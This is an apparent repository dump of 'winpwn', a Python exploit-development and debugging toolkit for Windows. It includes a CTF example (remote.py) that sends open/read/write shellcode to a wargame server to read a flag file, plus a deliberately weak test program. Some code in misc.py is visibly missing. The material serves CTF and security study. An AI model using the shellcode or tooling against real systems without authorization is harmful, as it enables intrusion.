├── .gitignore ├── .winpwn ├── README.md ├── _config.yml ├── img ├── readme ├── windbgx.png └── winpwn1.png ├── setup.py ├── upload.sh └── winpwn ├── __init__.py ├── asm.py ├── context.py ├── dbg.py ├── example ├── dotest.c ├── dotest.exe ├── dotest64.exe ├── kernel.py ├── process.py └── remote.py ├── misc.py ├── win.py ├── wincs.py ├── winfile.py └── winpwn.py /.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | dist/ 3 | winpwn.egg-info/ 4 | winpwn/__pycache__ -------------------------------------------------------------------------------- /.winpwn: -------------------------------------------------------------------------------- 1 | { 2 | "debugger":{ 3 | "i386": { 4 | "x64dbg": "F:\\ctfTools\\debugTools\\x64debug\\release\\x32\\x32dbg.exe", 5 | "gdb": "F:\\ctfTools\\windows-gdb\\mingw-w64-686\\mingw32\\bin\\gdb.exe", 6 | "windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe", 7 | "windbgx": "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe" 8 | }, 9 | "amd64": { 10 | "x64dbg": "F:\\ctfTools\\debugTools\\x64debug\\release\\x64\\x64dbg.exe", 11 | "gdb": "F:\\ctfTools\\windows-gdb\\mingw-w64-64\\mingw64\\bin\\gdb64.exe", 12 | "windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe", 13 | "windbgx": "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe" 14 | } 15 | }, 16 | "debugger_init": { 17 | "i386": { 18 | "x64dbg": "", 19 | "gdb": "", 20 | "windbg": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;", 21 | "windbgx": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" 22 | }, 23 | "amd64": { 24 | "x64dbg": "", 25 | "gdb": "", 26 | "windbg": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;", 27 | "windbgx": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## winpwn: pwntools for windows 2 | windows debug and exploit toolset for both user and kernel mode 3 | 4 | 5 | ### pre 6 | 1. support python2/python3 7 | 2. support windbg/windbgx 8 | 9 | ### setup 10 | 1. pip/pip3 install winpwn 11 | 2. optional: 12 | + launch debugger: modify file [.winpwn](https://github.com/Byzero512/winpwn/blob/master/.winpwn) and copy it to windows HOMEDIR(python: `os.path.expanduser("~\\.winpwn")`) 13 | + pip install pefile 14 | + pip install keystone 15 | + pip install capstone 16 | 17 | ### usage 18 | 19 | #### process 20 | ```python 21 | p = process("./pwn") 22 | p = process(["./pwn", "argv[1]", "argv[2]"]) 23 | p.readm(addr, n) # read process memory 24 | p.writem(addr, con = "") # write process memory 25 | ``` 26 | 27 | #### remote 28 | ```python 29 | r = remote("127.0.0.1", 65535) 30 | ``` 31 | 32 | #### context 33 | ```python 34 | context.timeout = 512 35 | context.debugger = "gdb" # or "windbg" or "x64dbg" or "windbgx" 36 | context.endian = "little" 37 | context.log_level = "" # or "debug" 38 | context.terminal = [] 39 | context.newline = "\r\n" 40 | context.arch = "i386" # or "amd64" 41 | content.pie = None 42 | context.dbginit = None # used to set debugger init script 43 | context.windbg = None # set debugger path, or use .winpwn to find debugger path 44 | context.windbgx = None 45 | content.gdb = None 46 | context.x64dbg = None 47 | context.nocolor = None # if set, will print non-colorful output to terminal 48 | ``` 49 | 50 | #### debug: windbg/windbgx 51 | for details, take a look at [dbg.py](https://github.com/Byzero512/winpwn/blob/b77ee9b23e83ce6dff9869e0adb9d882c7c276bc/winpwn/dbg.py#L139) 52 | 53 | ```python 54 | windbgx.attach(p, script = "bp 0x401000") # debug local process 55 | windbgx.remote("127.0.0.1,1234") # attach to dbgsrv to debug process remotely 56 | windbgx.com(...) # debug kernel with serial port 57 | windbgx.net(...) # debug kernel with kdnet 58 | ``` 59 | 60 | #### asm/disasm: 61 | ```python 62 | asm("push ebp") 63 | disasm("\x55") 64 | ``` 65 | 66 | ### configure 67 | if you want to use debugger like gdb-peda, you need to deal with the deps yourself 68 | 69 | #### windbgx/windbg 70 | 1. [pykd](https://githomelab.ru/pykd/pykd) 71 | 2. [bywin](https://github.com/Byzero512/peda-windows/tree/master/windbg/bywin) 72 | 73 | ## photos 74 | 75 | ### windbgx/windbg 76 | ![windbgx](./img/windbgx.png) 77 | 78 | ### refs 79 | 1. https://github.com/masthoon/pwintools 80 | 2. https://github.com/hakril/PythonForWindows 81 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-midnight -------------------------------------------------------------------------------- /img/readme: -------------------------------------------------------------------------------- 1 | store picture 2 | -------------------------------------------------------------------------------- /img/windbgx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Byzero512/winpwn/e225187989c55c9f70a61b7562b00d67e3c70d58/img/windbgx.png -------------------------------------------------------------------------------- /img/winpwn1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Byzero512/winpwn/e225187989c55c9f70a61b7562b00d67e3c70d58/img/winpwn1.png -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import * 2 | 3 | setup( 4 | name='winpwn', 5 | version='0.3.0', 6 | description='mini pwntools for windows', 7 | author='byzero512', 8 | author_email='byzero512@gamil.com', 9 | license='MIT', 10 | packages=find_packages() 11 | ) 12 | -------------------------------------------------------------------------------- /upload.sh: -------------------------------------------------------------------------------- 1 | # pip install wheel 2 | # pip install twine 3 | python setup.py bdist_wheel --universal 4 | twine upload dist/* -------------------------------------------------------------------------------- /winpwn/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding=Latin1 -*- 2 | import os 3 | import sys 4 | 5 | cwd = os.path.dirname(__file__) 6 | sys.path=[cwd]+sys.path[1:] 7 | 8 | from .context import context 9 | from .winpwn import process,remote 10 | from .dbg import gdb,windbg,x64dbg,windbgx,init_debugger 11 | from .misc import p8,p16,p32,p64,u8,u16,u32,u64,pause,sleep,NOPIE,PIE,Latin1_encode,Latin1_decode,color,hexdump 12 | from .asm import asm,disasm 13 | from .winfile import winfile 14 | from .wincs import wincs 15 | 16 | init_debugger() 17 | 18 | tostr=Latin1_decode 19 | tobyte=Latin1_encode 20 | 21 | __all__=[ 22 | 'process','remote','gdb','windbg','x64dbg','windbgx', 23 | 'context', 24 | 'p8','p16','p32','p64','u8','u16','u32','u64', 25 | 'pause','sleep','hexdump','color',"NOPIE","PIE", 26 | "tostr",'tobyte', 27 | "asm","disasm", 28 | "winfile", 29 | 'wincs' 30 | ] 31 | 32 | # winpwn dbg misc 33 | # | 34 | # | 35 | # win context -------------------------------------------------------------------------------- /winpwn/asm.py: -------------------------------------------------------------------------------- 1 | from .context import context 2 | from .misc import Latin1_encode,Latin1_decode 3 | 4 | def disasm(machine_code,addr=0,arch=None): 5 | import capstone 6 | machine_code=Latin1_encode(machine_code) 7 | if arch is None: 8 | arch=context.arch 9 | if arch=='i386': 10 | disasmer=capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32) 11 | elif arch=="amd64": 12 | disasmer=capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64) 13 | l="" 14 | for i in disasmer.disasm(machine_code,addr): 15 | l+="{:8s} {};\n".format(i.mnemonic,i.op_str) 16 | return Latin1_decode(Latin1_encode(l.strip('\n'))) 17 | 18 | def asm(asm_code,addr=0,arch=None): 19 | import keystone 20 | asm_code=Latin1_encode(asm_code) 21 | if arch is None: 22 | arch=context.arch 23 | if arch=='i386': 24 | asmer=keystone.Ks(keystone.KS_ARCH_X86,keystone.KS_MODE_32) 25 | elif arch=="amd64": 26 | asmer=keystone.Ks(keystone.KS_ARCH_X86,keystone.KS_MODE_64) 27 | l="" 28 | for i in asmer.asm(asm_code,addr)[0]: 29 | l+=chr(i) 30 | return Latin1_decode(Latin1_encode(l.strip('\n'))) 31 | 32 | 33 | -------------------------------------------------------------------------------- /winpwn/context.py: -------------------------------------------------------------------------------- 1 | # -*- coding=Latin1 -*- 2 | class context(): 3 | # init 4 | terminal=[] 5 | # basic 6 | arch='i386' 7 | endian='little' 8 | log_level="" 9 | timeout=512 10 | tick=0.0625 11 | length=None 12 | newline='\r\n' 13 | pie=None 14 | 15 | # input output 16 | noout=None 17 | nocolor=None 18 | 19 | # debug 20 | dbginit="" 21 | gdb=None 22 | windbg=None 23 | windbgx=None 24 | x64dbg=None 25 | 26 | # dev 27 | devdebug=False -------------------------------------------------------------------------------- /winpwn/dbg.py: -------------------------------------------------------------------------------- 1 | # -*- coding=Latin1 -*- 2 | import tempfile 3 | import os 4 | import sys 5 | import subprocess 6 | 7 | from .context import context 8 | from .winpwn import process 9 | from .misc import showbanner, Latin1_encode, sleep, run_in_new_terminal, pause 10 | 11 | 12 | class gdb(): 13 | @classmethod 14 | def attach(clx, target, script="", sysroot=None): 15 | showbanner('attaching', 'purple', '[=]') 16 | if context.gdb is None: 17 | gdbPath = debugger[context.arch]['gdb'] 18 | else: 19 | gdbPath = context.gdb 20 | 21 | load_Dbg = gdbPath 22 | if isinstance(target, int): 23 | load_Dbg += ' -p'+' {}'.format(target)+' -q' 24 | else: 25 | load_Dbg += ' -p'+' {}'.format(target.pid)+' -q' 26 | 27 | def setInfo(sysroot=None): 28 | Info = '' 29 | if context.arch == 'amd64': 30 | Info += 'set architecture i386:x86-64\n' 31 | else: 32 | Info += 'set architecture i386\n' 33 | if context.endian: 34 | Info += 'set endian {}\n'.format(context.endian) 35 | if sysroot: 36 | Info += 'set sysroot {}\n'.format(sysroot) 37 | return Info 38 | 39 | pre = context.dbginit+'\n' + \ 40 | setInfo(sysroot)+debugger_init[context.arch]['gdb'] 41 | pre_tmp = tempfile.NamedTemporaryFile( 42 | prefix='winpwn_', suffix='.dbg', delete=False) 43 | pre_tmp.write(Latin1_encode(pre)) 44 | pre_tmp.flush() 45 | pre_tmp.close() 46 | 47 | script = (script+'\n' or '') 48 | script_tmp = tempfile.NamedTemporaryFile( 49 | prefix='winpwn_', suffix='.dbg', delete=False) 50 | script_tmp.write(Latin1_encode(script)) 51 | script_tmp.flush() 52 | script_tmp.close() 53 | 54 | load_Dbg += ' -ix "{}"'.format(pre_tmp.name) 55 | load_Dbg += ' -ex source -command {}'.format(script_tmp.name) 56 | load_Dbg += ' -ex {}'.format('"shell del {}"'.format(script_tmp.name)) 57 | load_Dbg += ' -ex {}'.format('"shell del {}"'.format(pre_tmp.name)) 58 | cmd = [load_Dbg] 59 | ter = run_in_new_terminal(cmd) 60 | while(os.path.exists(pre_tmp.name)): # wait_for_debugger 61 | pass 62 | target.debugger = ter 63 | return ter.pid 64 | 65 | @classmethod 66 | def debug(): 67 | pass 68 | 69 | 70 | class windbg(): 71 | @classmethod 72 | def attach(clx, target, script="", sysroot=None): 73 | 74 | showbanner('attaching', 'purple', '[=]') 75 | if context.windbg is None: 76 | windbgPath = debugger[context.arch]['windbg'] 77 | else: 78 | windbgPath = context.windbg 79 | load_windbg = [windbgPath, '-p'] 80 | 81 | if isinstance(target, int): 82 | load_windbg.append(target) 83 | else: 84 | load_windbg.append(str(target.pid)) 85 | 86 | script = context.dbginit+'\n' + \ 87 | debugger_init[context.arch]['windbg']+'\n'+script+'\n' 88 | tmp = tempfile.NamedTemporaryFile( 89 | prefix='winpwn_', suffix='.dbg', delete=False) 90 | tmp.write(Latin1_encode(script)) 91 | tmp.flush() 92 | tmp.close() 93 | load_windbg += ['-c'] # exec command 94 | load_windbg += ['$$><{}'.format(tmp.name) + 95 | ';.shell -x del {}'.format(tmp.name)] 96 | # print('script:',script) 97 | # print('load:',load_windbg) 98 | ter = subprocess.Popen(load_windbg) 99 | while(os.path.exists(tmp.name)): # wait_for_debugger 100 | pass 101 | target.debugger = ter 102 | return ter.pid 103 | 104 | @classmethod 105 | def com(clx, com, script="", baudrate=115200): 106 | showbanner('attaching', 'purple', '[=]') 107 | if context.windbg is None: 108 | windbgPath = debugger[context.arch]['windbg'] 109 | else: 110 | windbgPath = context.windbg 111 | load_windbg = [windbgPath] 112 | load_windbg += [ 113 | "-k com:pipe,port={},baud={},reconnect".format(com, baudrate)] 114 | 115 | script = context.dbginit+'\n' + \ 116 | debugger_init[context.arch]['windbg']+'\n'+script+'\n' 117 | tmp = tempfile.NamedTemporaryFile( 118 | prefix='winpwn_', suffix='.dbg', delete=False) 119 | tmp.write(Latin1_encode(script)) 120 | tmp.flush() 121 | tmp.close() 122 | load_windbg += ['-c'] # exec command 123 | load_windbg += ['"$$><{}'.format(tmp.name) + 124 | ';.shell -x del {}"'.format(tmp.name)] 125 | # ter=subprocess.Popen(Latin1_encode(' '.join(load_windbg))) 126 | ter = subprocess.Popen(' '.join(load_windbg)) 127 | while(os.path.exists(tmp.name)): # wait_for_debugger 128 | sleep(0.05) 129 | # pass 130 | # target.debugger=ter 131 | # mark('attached') 132 | return ter.pid 133 | 134 | @classmethod 135 | def net(clx): 136 | pass 137 | 138 | 139 | class windbgx(): 140 | @classmethod 141 | def attach(clx, target, script="", sysroot=None): 142 | showbanner('attaching', 'purple', '[=]') 143 | if context.windbgx is None: 144 | windbgxPath = debugger[context.arch]['windbgx'] 145 | else: 146 | windbgxPath = context.windbgx 147 | load_windbg = [windbgxPath, '-p'] 148 | 149 | if isinstance(target, int): 150 | load_windbg.append(target) 151 | else: 152 | load_windbg.append(str(target.pid)) 153 | 154 | script = context.dbginit+'\n' + \ 155 | debugger_init[context.arch]['windbgx']+'\n'+script+'\n' 156 | 157 | tmp = tempfile.NamedTemporaryFile( 158 | prefix='winpwn_', suffix='.dbg', delete=False) 159 | tmp.write(Latin1_encode(script)) 160 | tmp.flush() 161 | tmp.close() 162 | load_windbg += ['-c'] # exec command 163 | load_windbg += ['"$$><{}'.format(tmp.name) + 164 | ';.shell -x del {}"'.format(tmp.name)] 165 | # print('script:',script) 166 | # print('load:',load_windbg) 167 | ter = subprocess.Popen(' '.join(load_windbg)) 168 | while(os.path.exists(tmp.name)): # wait_for_debugger 169 | pass 170 | target.debugger = ter 171 | # mark('attached') 172 | return ter.pid 173 | 174 | @classmethod 175 | def remote(clx, target, script=""): 176 | showbanner('attaching', 'purple', '[=]') 177 | if context.windbgx is None: 178 | windbgxPath = debugger[context.arch]['windbgx'] 179 | else: 180 | windbgxPath = context.windbgx 181 | 182 | IP = '' 183 | port = 1025 184 | if ',' in target: 185 | idx = target.find(',') 186 | IP = target[0:target.find(',')] 187 | port = int(target[target.find(',')+1:]) 188 | else: 189 | IP = target 190 | 191 | load_windbg = [windbgxPath] 192 | load_windbg += [ 193 | "-premote tcp:server={},port={}".format(IP, port)] 194 | 195 | script = context.dbginit+'\n' + \ 196 | debugger_init[context.arch]['windbgx']+'\n'+script+'\n' 197 | tmp = tempfile.NamedTemporaryFile( 198 | prefix='winpwn_', suffix='.dbg', delete=False) 199 | tmp.write(Latin1_encode(script)) 200 | tmp.flush() 201 | tmp.close() 202 | load_windbg += ['-c'] # exec command 203 | load_windbg += ['"$$><{}'.format(tmp.name) + 204 | ';.shell -x del {}"'.format(tmp.name)] 205 | 206 | ter = subprocess.Popen(' '.join(load_windbg)) 207 | while(os.path.exists(tmp.name)): # wait_for_debugger 208 | sleep(0.05) 209 | return ter.pid 210 | 211 | @classmethod 212 | def com(clx, com, script="", baudrate=115200): 213 | showbanner('attaching', 'purple', '[=]') 214 | if context.windbgx is None: 215 | windbgxPath = debugger[context.arch]['windbgx'] 216 | else: 217 | windbgxPath = context.windbgx 218 | load_windbg = [windbgxPath] 219 | load_windbg += [ 220 | "-k com:pipe,port={},baud={},reconnect".format(com, baudrate)] 221 | 222 | script = context.dbginit+'\n' + \ 223 | debugger_init[context.arch]['windbgx']+'\n'+script+'\n' 224 | tmp = tempfile.NamedTemporaryFile( 225 | prefix='winpwn_', suffix='.dbg', delete=False) 226 | tmp.write(Latin1_encode(script)) 227 | tmp.flush() 228 | tmp.close() 229 | load_windbg += ['-c'] # exec command 230 | load_windbg += ['"$$><{}'.format(tmp.name) + 231 | ';.shell -x del {}"'.format(tmp.name)] 232 | # ter=subprocess.Popen(Latin1_encode(' '.join(load_windbg))) 233 | ter = subprocess.Popen(' '.join(load_windbg)) 234 | while(os.path.exists(tmp.name)): # wait_for_debugger 235 | sleep(0.05) 236 | return ter.pid 237 | 238 | @classmethod 239 | def net(clx, key, script = ""): 240 | showbanner('attaching', 'purple', '[=]') 241 | if context.windbgx is None: 242 | windbgxPath = debugger[context.arch]['windbgx'] 243 | else: 244 | windbgxPath = context.windbgx 245 | 246 | IP = '' 247 | port = 50000 248 | if ',' in key: 249 | idx = key.find(',') 250 | IP = key[0:key.find(',')] 251 | port = int(key[key.find(',')+1:]) 252 | else: 253 | IP = key 254 | 255 | load_windbg = [windbgxPath] 256 | load_windbg += [ 257 | "-k net:port={},key={}".format(port, key)] 258 | 259 | script = context.dbginit+'\n' + \ 260 | debugger_init[context.arch]['windbgx']+'\n'+script+'\n' 261 | tmp = tempfile.NamedTemporaryFile( 262 | prefix='winpwn_', suffix='.dbg', delete=False) 263 | tmp.write(Latin1_encode(script)) 264 | tmp.flush() 265 | tmp.close() 266 | load_windbg += ['-c'] # exec command 267 | load_windbg += ['"$$><{}'.format(tmp.name) + 268 | ';.shell -x del {}"'.format(tmp.name)] 269 | 270 | ter = subprocess.Popen(' '.join(load_windbg)) 271 | while(os.path.exists(tmp.name)): # wait_for_debugger 272 | sleep(0.05) 273 | return ter.pid 274 | 275 | 276 | class x64dbg(): 277 | @classmethod 278 | def attach(clx, target, script="", sysroot=None): 279 | showbanner('attaching', 'purple', '[=]') 280 | if context.x64dbg is None: 281 | x64dbgPath = debugger[context.arch]['x64dbg'] 282 | else: 283 | x64dbgPath = context.x64dbg 284 | load_x64dbg = [x64dbgPath, '-p'] 285 | # if isinstance(target,process): 286 | # load_x64dbg.append(str(target.pid)) 287 | # elif isinstance(target,int): 288 | # load_x64dbg.append(str(pid)) 289 | load_x64dbg.append(str(target.pid)) 290 | ter = subprocess.Popen(load_x64dbg) 291 | target.debugger = ter 292 | pause('\twaiting for debugger') 293 | sys.stdin.readline() 294 | return ter.pid 295 | 296 | @classmethod 297 | def debug(clx, target, script="", sysroot=None): 298 | pass 299 | 300 | 301 | # -*- coding=Latin1 -*- 302 | 303 | 304 | debugger = { 305 | 'i386': { 306 | 'windbg': '', 307 | 'x64dbg': '', 308 | 'gdb': '', 309 | "windbgx": "" 310 | }, 311 | 'amd64': { 312 | 'windbg': '', 313 | 'x64dbg': '', 314 | 'gdb': '', 315 | "windbgx": "" 316 | } 317 | } 318 | 319 | debugger_init = { 320 | 'i386': { 321 | 'windbg': '', 322 | 'x64dbg': '', 323 | 'gdb': '', 324 | "windbgx": "" 325 | }, 326 | 'amd64': { 327 | 'windbg': '', 328 | 'x64dbg': '', 329 | 'gdb': '', 330 | "windbgx": "" 331 | } 332 | } 333 | 334 | 335 | def init_debugger(): 336 | import json 337 | winpwn_init = os.path.expanduser("~\\.winpwn") 338 | if os.path.exists(winpwn_init): 339 | fd = open(winpwn_init, 'r') 340 | js = Latin1_encode(''.join(fd.readlines())) 341 | x = json.loads(js) 342 | dbg = x['debugger'] 343 | dbg_init = x['debugger_init'] 344 | fd.close() 345 | debugger.update(dbg) 346 | debugger_init.update(dbg_init) 347 | -------------------------------------------------------------------------------- /winpwn/example/dotest.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main(){ 4 | setbuf(stdout,0); 5 | setbuf(stdin,0); 6 | setbuf(stderr,0); 7 | puts("please input:"); 8 | char buf[0x30]; 9 | read(0,buf,0x30); 10 | puts("content: "); 11 | puts(buf); 12 | puts("input again:"); 13 | read(0,buf,0x30); 14 | puts("content: "); 15 | puts(buf); 16 | puts("bye"); 17 | } 18 | -------------------------------------------------------------------------------- /winpwn/example/dotest.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Byzero512/winpwn/e225187989c55c9f70a61b7562b00d67e3c70d58/winpwn/example/dotest.exe -------------------------------------------------------------------------------- /winpwn/example/dotest64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Byzero512/winpwn/e225187989c55c9f70a61b7562b00d67e3c70d58/winpwn/example/dotest64.exe -------------------------------------------------------------------------------- /winpwn/example/kernel.py: -------------------------------------------------------------------------------- 1 | from winpwn import * 2 | # windbgx.com("\\\\.\\pipe\\bcn_com","bp 0;") 3 | p=remote("192.168.47.148",445) 4 | p.interactive() -------------------------------------------------------------------------------- /winpwn/example/process.py: -------------------------------------------------------------------------------- 1 | from winpwn import * 2 | context.log_level='debug' 3 | context.arch='amd64' 4 | context.log_level='debug' 5 | is_debug=1 6 | if is_debug: 7 | if context.arch=='amd64': 8 | p=process(['./dotest64.exe','aaaaaaaaaaaaa']) 9 | # windbg.attach(p) 10 | # x64dbg.attach(p) 11 | # gdb.attach(p) 12 | windbgx.attach(p) 13 | else: 14 | p=process('./dotest.exe') 15 | # windbg.attach(p) 16 | # gdb.attach(p) 17 | # x64dbg.attach(p) 18 | windbgx.attach(p) 19 | else: 20 | if context.arch=='amd64': 21 | p=process('./dotest64.exe') 22 | else: 23 | p=process('./dotest.exe') 24 | 25 | p.recvuntil('please input:\r\n') 26 | p.interactive() -------------------------------------------------------------------------------- /winpwn/example/remote.py: -------------------------------------------------------------------------------- 1 | from winpwn import * 2 | 3 | context.timeout=3 4 | context.arch='amd64' 5 | context.log_level='debug' 6 | context.noout=True 7 | p=remote('chall.pwnable.tw',10001) 8 | p.recvuntil('Give my your shellcode:') 9 | shellcode_addr=0x0804A060 10 | fpath_addr=0x0804A0B0 11 | ljust_len=fpath_addr-shellcode_addr 12 | 13 | fpath='/home/orw/flag\x00' 14 | 15 | shellcode='mov eax,5;mov ebx,0x0804A0B0;xor ecx,ecx;mov edx,0644;int 0x80;' # open 16 | shellcode+='mov ebx,eax;mov ecx,0x0804A0B0;mov edx,40;int 0x80;' 17 | shellcode+='mov eax,4;mov ebx,1;mov ecx,0x0804A0B0;mov edx,40;int 0x80;' # write 18 | shellcode=(asm(shellcode)).ljust(ljust_len,'\x90')+fpath 19 | 20 | p.send(shellcode) 21 | 22 | p.interactive() -------------------------------------------------------------------------------- /winpwn/misc.py: -------------------------------------------------------------------------------- 1 | # -*- coding=Latin1 -*- 2 | # import os 3 | import subprocess 4 | import struct 5 | import time 6 | import sys 7 | import os 8 | 9 | from .context import context 10 | 11 | def run_in_new_terminal(command, terminal = None, args = None): 12 | if terminal is None: 13 | if (context.terminal): 14 | terminal=context.terminal 15 | else: 16 | terminal=['ConEmu.exe','-Reuse','-run'] 17 | if isinstance(args, tuple): # args associety with tmminal not process 18 | args = list(args) 19 | if args is not None: 20 | argv=terminal+args 21 | else: 22 | argv=terminal 23 | if isinstance(command,str): 24 | argv+=[command] # [terminal,args,command] 25 | elif isinstance(command,(list,tuple)): 26 | argv+=list(command) 27 | ter=subprocess.Popen(' '.join(argv)) 28 | return ter 29 | 30 | def NOPIE(fpath=""): 31 | import pefile 32 | pe_fp=pefile.PE(fpath) 33 | pe_fp.OPTIONAL_HEADER.DllCharacteristics &= \ 34 | ~pefile.DLL_CHARACTERISTICS["IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE"] 35 | pe_fp.OPTIONAL_HEADER.CheckSum = pe_fp.generate_checksum() 36 | pe_fp.write(fpath) 37 | def PIE(fpath=""): 38 | import pefile 39 | pe_fp=pefile.PE(fpath) 40 | pe_fp.OPTIONAL_HEADER.DllCharacteristics |= \ 41 | pefile.DLL_CHARACTERISTICS["IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE"] 42 | pe_fp.OPTIONAL_HEADER.CheckSum = pe_fp.generate_checksum() 43 | pe_fp.write(fpath) 44 | 45 | def pause(string=None): 46 | print(color("\n[=]: pausing",'purple')) 47 | if string is not None: 48 | print(color(string,'purple')) 49 | sys.stdin.readline() 50 | def sleep(n): 51 | time.sleep(n) 52 | 53 | def p64(i): 54 | l=struct.pack('=0x20: 127 | lines=lines[0:8]+['......\n']+lines[-8:] 128 | print(''.join(lines).strip()) 129 | def showbanner(markstr,colorstr='green',typestr='[+]',is_noout=None): 130 | if is_noout is None: 131 | is_noout=context.noout 132 | if not is_noout: 133 | print(color('\n'+typestr+': '+markstr,colorstr)) 134 | def showbuf(buf,is_noout=None): 135 | if is_noout is None: 136 | is_noout=context.noout 137 | if not is_noout: 138 | if context.log_level=='debug': 139 | hexdump(buf) 140 | if buf.endswith(context.newline): 141 | os.write(sys.stdout.fileno(), Latin1_encode(buf)) 142 | else: 143 | os.write(sys.stdout.fileno(), Latin1_encode(buf+'\n')) -------------------------------------------------------------------------------- /winpwn/win.py: -------------------------------------------------------------------------------- 1 | # -*- coding=Latin1 -*- 2 | # ctypes: 3 | # create_string_buffer 4 | # create_unicode_buffer 5 | # windll.kernel32.CreateProcessA 6 | # windll.kernel32.CreatePipe 7 | # windll.kernel32.PeekNamedPipe 8 | # windll.kernel32.ReadFile 9 | # windll.kernel32.WriteFile 10 | # windll.kernel32.SetHandleInformation 11 | # windll.kernel32.GetStdHandle 12 | # windll.kernel32.CloseHandle 13 | 14 | import os 15 | import sys 16 | import time 17 | 18 | from ctypes import windll,byref,sizeof,wintypes,create_string_buffer,GetLastError,c_size_t 19 | from ctypes.wintypes import HANDLE,LPVOID,LPSTR,DWORD,WORD,BOOL,BYTE 20 | from ctypes import POINTER,Structure 21 | 22 | from .context import context 23 | from .misc import Latin1_encode,Latin1_decode,color,showbanner 24 | 25 | # some var to CreatePipe or CreateProcessA 26 | HANDLE_FLAG_INHERIT=1 27 | STARTF_USESTDHANDLES=256 28 | STILL_ACTIVE=259 29 | CREATE_SUSPENDED=0x4 30 | PROCESS_VM_READ=0x10 31 | PROCESS_VM_WRITE=0x20 32 | PROCESS_VM_OPERATION=0x8 33 | PAGE_READWRITE=0x4 34 | 35 | # for createPipe 36 | class SECURITY_ATTRIBUTES(Structure): 37 | _fields_= [ 38 | ('nLength',DWORD), 39 | ('lpSecurityDescriptor',LPVOID), 40 | ('bInheritHandle',BOOL), 41 | ] 42 | # for createProcess 43 | class PROCESS_INFORMATION(Structure): 44 | _fields_= [ 45 | ('hProcess', HANDLE), 46 | ('hThread', HANDLE), 47 | ('dwProcessId',DWORD), 48 | ('dwThreadId',DWORD), 49 | ] 50 | # for createProcess 51 | class STARTUPINFO(Structure): 52 | _fields_=[ 53 | ('cb',DWORD), 54 | ('lpReserved',LPSTR), 55 | ('lpDesktop',LPSTR), 56 | ('lpTitle',LPSTR), 57 | ('dwX',DWORD), 58 | ('dwY',DWORD), 59 | ('dwXSize',DWORD), 60 | ('dwYSize',DWORD), 61 | ('dwXCountChars',DWORD), 62 | ('dwYCountChars',DWORD), 63 | ('dwFillAttribute',DWORD), 64 | ('dwFlags',DWORD), 65 | ('wShowWindow',WORD), 66 | ('cbReserved2',WORD), 67 | ('lpReserved2',POINTER(BYTE)), 68 | ('hStdInput',HANDLE), 69 | ('hStdOutput',HANDLE), 70 | ('hStdError',HANDLE), 71 | ] 72 | 73 | # class winApi(): 74 | # @classmethod 75 | # def VirtualAllocEx(clx): 76 | # pass 77 | # @classmethod 78 | # def VirtualFreeEx(clx,addr,size): 79 | # pass 80 | # @classmethod 81 | # def GetModuleHandle(clx): 82 | # pass 83 | # @classmethod 84 | # def VirtualProtectEx(clx,hProcess,addr,size,protect,oldprotect): 85 | # return windll.kernel32.VirtualProtectEx(hProcess,) 86 | # @classmethod 87 | # def ReadProcessMemory(clx,hProcess,addr,n): 88 | # beenRead=wintypes.DWORD() 89 | # buf=create_string_buffer(n) 90 | # x=windll.kernel32.ReadProcessMemory(self.hProcess,addr,buf,n,byref(beenRead)) 91 | # if x==0: 92 | # raise(EOFError()) 93 | # return Latin1_decode(buf.raw) 94 | # @classmethod 95 | # def WriteProcessMemory(clx,hProcess,addr,buf): 96 | # n=len(buf) 97 | # written=wintypes.DWORD() 98 | # x=windll.kernel32.WriteProcessMemory(self.hProcess,addr,buf,n,byref(written)) 99 | # if x==0: 100 | # raise(EOFError()) 101 | # return written.value 102 | # @classmethod 103 | # def ResumeThread(clx,hThread): 104 | # return windll.kernel32.ResumeThread(hThread) 105 | 106 | class winPipe(): 107 | def __init__(self,bInheritHandle = 1): 108 | self.timeout=context.timeout 109 | self.hReadPipe,self.hWritePipe,self.child_hReadPipe,self.child_hWritePipe=self.create(bInheritHandle=bInheritHandle) 110 | 111 | def create(self,bInheritHandle = 1): 112 | # set attr 113 | attr=SECURITY_ATTRIBUTES() 114 | attr.lpSecurityDescriptor=0 115 | attr.bInheritHandle = bInheritHandle 116 | attr.nLength = sizeof(attr) 117 | 118 | hReadPipe=wintypes.HANDLE() # father read, child write 119 | hWritePipe=wintypes.HANDLE() # father write, child read 120 | child_hReadPipe=wintypes.HANDLE() 121 | child_hWritePipe=wintypes.HANDLE() 122 | 123 | rs1=windll.kernel32.CreatePipe(byref(hReadPipe),byref(child_hWritePipe),byref(attr),0) 124 | rs2=windll.kernel32.CreatePipe(byref(child_hReadPipe),byref(hWritePipe),byref(attr),0) 125 | 126 | 